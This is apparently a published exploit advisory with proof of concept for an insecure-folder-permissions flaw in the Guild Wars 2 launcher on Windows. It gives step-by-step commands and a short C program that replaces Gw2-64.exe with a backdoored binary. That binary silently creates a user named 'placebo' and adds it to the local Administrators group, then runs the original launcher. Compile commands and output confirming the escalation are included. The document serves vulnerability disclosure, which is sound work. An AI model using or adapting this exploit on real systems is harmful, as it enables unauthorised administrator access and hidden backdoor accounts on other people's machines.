Guild Wars 2 - Insecure Folder Permissions

# Exploit Title: Guild Wars 2 - Insecure Folder Permissions
# Date: 2020-10-09
# Exploit Author: George Tsimpidas
# Software Link : https://account.arena.net/welcome
# Version Build : 106915
# Tested on: Microsoft Windows 10 Home 10.0.18362 N/A Build 18362
# Category: local



Vulnerability Description:

Guild Wars 2 Launcher (Gw2-64.exe) suffers from an elevation of privileges
vulnerability which can be used by a simple user that can change the
executable file
with a binary of choice. The vulnerability exist due to the improper
permissions,
with the 'F' flag (Full) for 'Everyone' group, making the entire directory
'Guild Wars 2' and its files and sub-dirs world-writable.


# Local Privilege Escalation Proof of Concept


D:\icacls "Guild Wars 2"
Guild Wars 2 Everyone:(F)
Everyone:(OI)(CI)(IO)(M,WDAC,WO,DC)
BUILTIN\Administrators:(I)(F)
BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(I)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
NT AUTHORITY\Authenticated Users:(I)(M)
NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(IO)(M)
BUILTIN\Users:(I)(RX)
BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)

## Insecure File Permission

D:\Guild Wars 2icacls Gw2-64.exe
Gw2-64.exe Everyone:(F)
Everyone:(I)(F)
BUILTIN\Administrators:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
NT AUTHORITY\Authenticated Users:(I)(M)
BUILTIN\Users:(I)(RX)



#0. Download & install

#1. Create low privileged user & change to the user
## As admin

C:\net user lowpriv Password123! /add
C:\net user lowpriv | findstr /i "Membership Name" | findstr /v "Full"
User name lowpriv
Local Group Memberships *Users
Global Group memberships *None

#2. Move the Service EXE to a new name

D:\Guild Wars 2whoami
lowpriv

D:\Guild Wars 2move Gw2-64.exe Gw2-64.frey.exe
1 file(s) moved.

#3. Create malicious binary on kali linux
## Add Admin User C Code

kali# cat addAdmin.c
int main(void){
system("net user placebo mypassword /add");
system("net localgroup Administrators placebo /add");
WinExec("D:\\Guild Wars 2\\Gw2-64.frey.exe",0);
return 0;
}

## Compile Code
kali# i686-w64-mingw32-gcc addAdmin.c -l ws2_32 -o Gw2-64.exe

#4. Transfer created 'Gw2-64' to the Windows Host

#5. Move the created 'Gw2-64' binary to the 'D:\Guild Wars 2' Folder

D:\Guild Wars 2move C:\Users\lowpriv\Downloads\Gw2-64.exe .

#6. Check that exploit admin user doesn't exists

D:\Guild Wars 2net user placebo

The user name could not be found

#6. Reboot the Computer

D:\Guild Wars 2shutdown /r

#7. Login & now start the Guild Wars 2 Game, back doored launcher will be
executed, and the user placebo will be created, and added to the
Administrators group.

C:\Users\lowprivnet user placebo | findstr /i "Membership Name" | findstr
/v "Full"

User name placebo
Local Group Memberships *Administrators *Users
Global Group memberships *None